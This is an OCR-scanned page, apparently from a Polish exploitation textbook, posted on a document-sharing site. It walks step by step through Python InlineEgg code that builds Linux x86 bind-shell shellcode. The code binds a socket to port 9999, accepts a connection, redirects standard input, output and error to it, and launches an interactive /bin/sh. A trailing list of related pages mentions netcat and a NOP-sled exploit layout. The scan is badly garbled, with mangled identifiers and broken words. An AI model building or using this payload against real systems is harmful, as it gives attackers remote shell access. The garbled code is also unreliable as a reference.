egg rysunek pl

egg rysunek pl



kod w Pythonie:


3zelkod:


egg=Inli neEgg(Linuxx8 6S yscal1) Stwórz szelkod


START


sock=egg.Socket (socket.AF_INET Socket.SOCK_STREAM) ,

Stwórz kod tworzący gniazdo. W zmiennej sock zapamiętaj nazwę rejestru, wr którym umieszczony zostanie uchwyt gnłazda (czyli rejestru ieax)r-


stos:


sock=egg.save(sock)

Stwórz kod odkładający na Stos

wartość

przechowywaną w rejestrze, któ

pgo _

nazwa znajduje się w zmiennej d

ock.

Miejsce na stosie, gdzie umies^c

.zona

będzie ta wartość,zapamiętaj/

w zmiennej sock,--

1

egg.bind(sock, ('0.0.0.0',

9999))

/

Stwórz kod podłączający gniazdo (którego uchwyt przechowywany jest na stosie pod adresem zapisanym w zmiennej sock) do portu 9999.


zmienna

soc^k —J—-


uchwyt

gniazda


Stwórz gnia odłóż do rej

zdo^ychwyt estru %eax.

r

Odłóż na^tos zawartość

rejestru %eax

(czyli uchwyt gniazda).


egg.listen(sock, 1)

Stwórz kod rozpoczynający nasłuchiwanie na gnieździe, którego uchwyt przechowywany jest pod adresem zapisanym w zmiennej sock.


Podłącz gniazdo (którego uchwyt przechowujemy na stosie) do portu 9999.

f

Rozpocznij nasłuchiwanie na gnieździe, którego uchwyt przechowujemy na stosie.

r


client=egg.accept(sock, 0, 0)

Stwórz kod czekający na podłączenie się klienta i tworzący, na potrzeby tego połączenia, nowe gniazdo. Nazwę rejestru, w którym zwrócony będzie uchwyt gniazda zapamiętaj w zmiennej Client,--


client=egg.save(Client)

Stwórz kod odkładający na stos wartość przechowywaną w rejestrze, którego nazwa zapisana jest w zmiennej clicntT Adres, pod którym zachowana będzie na stosie ta wartość, zachowaj w zmiennej Client


egg.close(sock)

Stwórz kod zamykający gniazdo, którego uchwyt leży na stosie pod adresem przechowywanym w zmiennej Client.


egg.dupż(Client, 0) egg.dupż(Client, 1) egg.dupż(Client, 2)

Stwórz kod podłączający standardowe wejście, wyjście i wyjście błędów do gniazda, którego uchwyt znajduje się pod adresem przechowywanym w zmiennej Client.


Podłącz standardowe wejście, wyjście i wyjście błędów do gniazda, którego uchwyt przechowujemy na stosie.


Czekaj na podłączenie się klienta i stwórz, na potrzeby tego połączenia, nowe gniazdo. Uchwyt gnuSUa-zwócony będzie w rejestrze %eax.


'

f

Uruchom powłokę.


egg.execve('/bin/sh', ('sh','-i')) Stwórz kod uruchamiający powłokę.





Wyszukiwarka

Podobne podstrony:
egg rysunek pl pierwsza konsola: netcat podłączony do portu 9999 i < eksploit
egg rysunek pl © © © A wierzchołek stosu adresy s 3 szelkod TT nopy t wierzchołek
egg rysunek? Codę in PythonDii 5 T~
egg rysunek pl intruz ofiara nopy+ szelkod+adres Eksploit fączy się z programem na komputerze ofiar
Wybieraj Tylko Najlepsze2-pl 1-PL kod producenta 3-PL-11223344NIE KUPUJ
RYSUNEKTECHNICZNY24.PL Szkolenia OnlineGD&TPOZIOM ZAAWANSOWANY 2 RODZIAŁY ONLINE DOŻYWOTNI
RYSUNEKTECHNICZNY24.PL Szkolenia Online SZKOLENIE ONLINERysunek Techniczny. Praktyczne Podstawy. •
RYSUNEKTECHNICZNY24.PL Szkolenia OnlineSzkolenie online: "Wymiarowanie i Tolerowanie Geometrycz
RYSUNEKTECHNICZNY24.PL Szkolenia Online PAKIET: •    BASIC •
RYSUNEKTECHNICZNY24.PL Szkolenia OnlinePAKIET SZKOLEŃ RYSUNEK TECHNICZNYSZKOLENIE PODSTAWOWE 3
duy/te#^Test powtórzeniowyPrąd elektryczny Rozwiąż test docwiczenia.pl Kod: F81W8N talach
! Rozwiąż
W KOnwj ćwiczenie docwicrenia.pl Kod: SóWKPU © Połącz ze sobą fragmenty zdań. Podkreśl
Przypomnij sobie docwiczenia.pl Kod:S6FP2D Podaj rzeczowniki z nie kojarzące się z wymienionymi
Rysunek1 v.pl 500. acyjne skiej 9 góM (infor- nafskim) ..Retro- ul. 1 Maja 61 teł. 633 06-50 K
2 )Przeszłość geologiczna Polski Rozwiąż dodatkowe zadania docwiczenia.pl Kod:
Energetyka Rozwiąż dodatkowe zadania docwiczenia.pl Kod: N720GZ Cele lekcji: Dowiesz
Rysuj po śladzie. Pokoloruj rysunek.pl
Rozwiąż dodatkowe 1 zadanie docwiczenia.pl Kod: H5Y1LZczątki chrześcijaństwa ! Przyjrzyj się

więcej podobnych podstron